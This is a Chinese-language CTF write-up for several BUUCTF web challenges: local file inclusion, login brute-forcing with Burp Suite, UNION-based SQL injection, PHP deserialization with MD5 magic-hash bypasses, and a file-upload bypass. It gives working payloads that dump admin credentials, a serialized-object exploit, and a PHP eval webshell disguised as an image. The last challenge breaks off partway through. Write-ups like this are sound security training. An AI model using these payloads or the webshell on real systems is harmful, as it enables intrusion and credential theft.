BUUCTF Basic 解题记录
BUUCTF Basic 解题记录
xxshhBUU LFI COURSE 1
|
可以看到有include,判断是文件包含漏洞
文件包含漏洞产生原因
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行。利用该漏洞,攻击者可能读取服务器上的敏感文件,执行恶意代码,甚至完全控制服务器。
代码分析
对上面这段 PHP 代码进行分析,把一个 GET 请求的参数 file 传给了一个变量str,然后包含了这个变量。但是开发者没有对 $_GET['file']
参数经过严格的过滤,直接带入了 include 的函数,这就造成了文件包含漏洞,如此一来,攻击者便可以修改$_GET[‘file’]的值,包含网站的敏感文件进行查看。
解题
在 url 后加上 /?file=/flag
。../
查找上一级目录,/
查找根目录。
扩展
1. 文件包含函数
在 PHP 中共有四种文件包含函数:
- Include():包含并运行指定的文件,只有在程序执行到 include 时才包含文件,且当包含文件发生错误时,程序警告,但会继续执行。
- Require():只要程序一运行就会执行该包含文件函数,当包含文件发生错误时,程序直接终止执行。
- Include_once():和 include()类似,不同之处在于 include_once 会检查这个文件是否已经被导入,如果已导入、下文便不会再导入。
- Require_once():和 require()类似,不同处在于 require_once 也是只导入一次。
2. 漏洞分类
文件包含漏洞共分为两大类,本地文件包含和远程文件包含。
(1) 本地文件包含(LFI)
|
如果攻击者将file
参数设置为/etc/passwd
,例如:
|
服务器可能会将/etc/passwd
文件的内容显示在网页上。
攻击者还可以通过目录遍历技巧访问超出预期目录范围的文件。例如:
|
(2) 远程文件包含(RFI)
RFI漏洞的利用通常依赖于PHP配置中allow_url_include
选项被启用。
攻击者可以将file
参数设置为远程URL,例如:
|
此时,服务器可能会包含并执行malicious.php
文件中的恶意代码。
3. 防护措施
(1)使用白名单限制文件包含
只允许包含预定义的文件,限制用户输入的范围。
(2)验证和过滤用户输入
- 使用
basename()
函数提取文件名,防止路径遍历攻击。 - 移除不必要的路径分隔符或特殊字符。
(3)禁用远程文件包含
在php.ini
文件中禁用allow_url_include
和allow_url_fopen
(4)使用绝对路径
采用绝对路径而非相对路径来包含文件,避免被用户输入影响。
(5)最小化权限
服务器上的文件权限应设置为最小化,仅允许Web服务器访问必要的文件。
(6)日志记录和监控
实现日志记录机制,记录异常的文件包含请求,并设置监控系统检测异常行为。
BUU BRUTE 1
1. 随便输入,用burpsuite抓包
2. 发送到Repeater
点击发送,在响应结构中点击响应内容,显示用户名错误。
在 Repeater 中,可以手动编辑 HTTP 请求的各个部分,包括方法、URL、参数、请求头、Cookies、请求体等。根据服务器的响应内容,测试人员可以确定所修改的请求是否引发了漏洞,或是否达到了预期的测试目的。
单独抓包时回显仅用户名错误,考虑先爆破用户名。
3. 爆破用户名
在代理中右键将其发送到Intruder。对username
添加payload位置
payload:有效载荷,指的是在网络数据包或恶意软件中传递的实际数据内容。
在payload板块添加字典,开始攻击。
通过长度判断正确值和错误值。点击长度,自动排序。与大量数据不同的值所对应的payload大概率就是正确的payload。
点击admin,发现render显示的是密码错误,说明用户名爆破成功。
4. 爆破密码
用户名改为admin。
选中密码,发送到intruder。已经得知密码是一个四位数字,所以将payload类型设置成数值类型。
密码是6490。
登录成功。
BUU SQL COURSE 1
F12打开开发工具,查看网络
访问backend/content_detail.php?id=1,修改id有不同的返回信息
输入1 and 1=2,没有任何回显
order by判断列数。1,2有回显,3没有回显,说明有2列。
?id=-1 union select 1,2 判断显位点
爆破数据库:?id=-1 union select 1,database()
得到数据库库名news
,获取数据表信息:?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’news’)
得到表名信息admin
,contents
,使用admin
表,获取字段名信息:?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’news’ and table_name=’admin’)
得到字段名分别是id
,username
,password
,获取username
:?id=-1 union select 1,(select group_concat(username) from admin)
获取password
:?id=-1 union select 1,(select group_concat(password) from admin)
登录成功。
BUU CODE REVIEW 1
前置知识
反序列化漏洞
序列化将数据转化成一种可逆的数据结构(如JSON、XML、二进制格式等),逆向的过程就叫做反序列化。
php中serialize() 和unserialize() 函数分别对目标进行序列化和反序列化。
举例如下:
|
输出结果为:
|
serialize()
函数将数组转换为一个字符串,以便能够存储或传递。unserialize()
函数将序列化的字符串重新转换为原来的数组格式。
a: array, 代表是数组,后面的3说明有三个属性。
i: 代表是整型数据int,后面的0是数组下标。
s: 代表是字符串,后面的4是因为shui长度为4。
依次类推。
序列化场景:
- 数据持久化:将对象或数据结构保存到文件或数据库中,以便以后可以重新加载。例如,将Python对象序列化为JSON格式并存储在文件中。
- 网络传输:在分布式系统中,数据需要在不同的服务或系统之间传输。为了在网络中传输复杂数据结构,需要将它们序列化为可传输的格式(如JSON、XML、Protobuf)。
- 缓存:在Web应用中,复杂对象通常会被序列化后存储在缓存(如Redis、Memcached)中,以提高应用的性能。当需要时,再反序列化读取。
- 进程间通信(IPC):在一些需要进程间通信的场景中,数据需要序列化后在进程间传递。例如,使用消息队列(如RabbitMQ、Kafka)时,消息需要序列化为字节格式进行传递。
反序列化漏洞:通常发生在对用户提供的数据进行反序列化时。如果用户能够控制传入的序列化数据,而应用在反序列化时没有进行适当的安全检查,那么攻击者可以构造恶意的序列化数据,触发特定的魔术方法(如 __wakeup()
、__destruct()
),执行任意代码,造成安全风险。
魔术方法:在PHP中,魔术方法是一类以两个下划线(__
)开头的特殊方法。在某些条件下自动执行会导致反序列化漏洞。
__construct()
:对象创建时自动调用的构造函数。__destruct()
:对象销毁时自动调用的析构函数。__call()
:调用未定义或不可访问的方法时自动调用。__callStatic()
:调用未定义或不可访问的静态方法时自动调用。__get()
:访问未定义或不可访问的属性时自动调用。__set()
:为未定义或不可访问的属性赋值时自动调用。__isset()
:调用isset()
或empty()
时自动调用。__unset()
:调用unset()
时自动调用。__sleep()
:序列化对象时自动调用。__wakeup()
:反序列化对象时自动调用。__toString()
:尝试将对象转换为字符串时自动调用。__invoke()
:尝试将对象当作函数调用时自动调用。__clone()
:克隆对象时自动调用。
MD5哈希碰撞
- MD5 是一种不安全的哈希算法,已知它是可以被攻击的,尤其是找到两个不同输入,使得它们的 MD5 哈希值相等(称为哈希碰撞)。
- 攻击者可以通过精心构造两个不同的字符串
md51
和md52
,使得它们的md5
哈希值相等,这样就可以绕过这个检查。 - 常见的绕过弱md5的方法有两种:
1.科学计数法绕过,PHP 当中使用==
来进行比较的时候,系统会自动处理数据类型, 进行分析是数字比较还是字符比较。 而当一个字符串值是0e开头的时候,就会被当作数值,php会认为它是科学计数法,而 0的多少次方都是 0。
常见的绕过值有:QNKCDZO、s155964671a、s1091221200a
2.数组绕过,原理是 md5 等函数不能处理数组,导致函数返回null。而null是等于null的,导致了绕过。
代码审计
|
1. 类定义
- 定义了一个类
BUU
,包含两个公共属性correct
和input
,以及一个析构函数__destruct()
。 - 在
__destruct()
方法中,$this->correct
被设置为一个随机生成的唯一标识符的Base64编码,然后与$this->input
进行严格比较(===
)。如果相等,则会读取并显示/flag
文件的内容。
2.条件判断
$_GET['pleaseget']
必须等于'1'
,且$_POST['pleasepost']
必须等于'2'
- 然后,存在一个双重的
md5()
碰撞检查:要求md5($_POST['md51']) == md5($_POST['md52'])
且$_POST['md51'] != $_POST['md52']
。
3.反序列化操作
- 当上述条件满足后,代码执行
unserialize($_POST['obj']);
,反序列化用户提供的对象数据。这一操作可能被利用来执行任意代码或攻击者控制的操作。
解题
构建一个url,包括1个get请求,4个post请求,满足上述条件,即可获得flag信息。
1.发送一个get请求。
2. 为了触发BUU
类中的 __destruct()
方法,需要构造一个序列化的对象。
(构造的 BUU
对象,在反序列化后没有进一步引用,因此 PHP 将在反序列化后立即销毁该对象,自动触发其 __destruct()
方法。)
要使$this->correct === $this->input,只需将this->input指向this->correct的地址:
|
输出如下:O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
3. 使用hackbar,点击execute,发送post请求:
[极客大挑战 2019]Upload
上传一句话木马。 <?php @eval($_POST['shell']);?>
burpsuite抓包,发送到repeater。
修改属性以绕过检测。
将文件名修改为web.phtml,绕过常规php文件后缀检测
将文件类型修改为:image/jpeg
注意:phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析。
因为一句话木马存在?>,所以被过滤了,所以需要将一句话木马进行修改,并添加图片头GIF89a。
上传成功。
反复试验,发现路径为upload。
http://3e6bfe9d-2884-4976-b474-80c2ba542f20.node5.buuoj.cn:81/upload/web.phtml
连接成功,根目录找到flag。
[MRCTF2020]你传你🐎呢
文件后缀过滤的很全,常见的绕过方法php3/5/7/
、phtml
都不行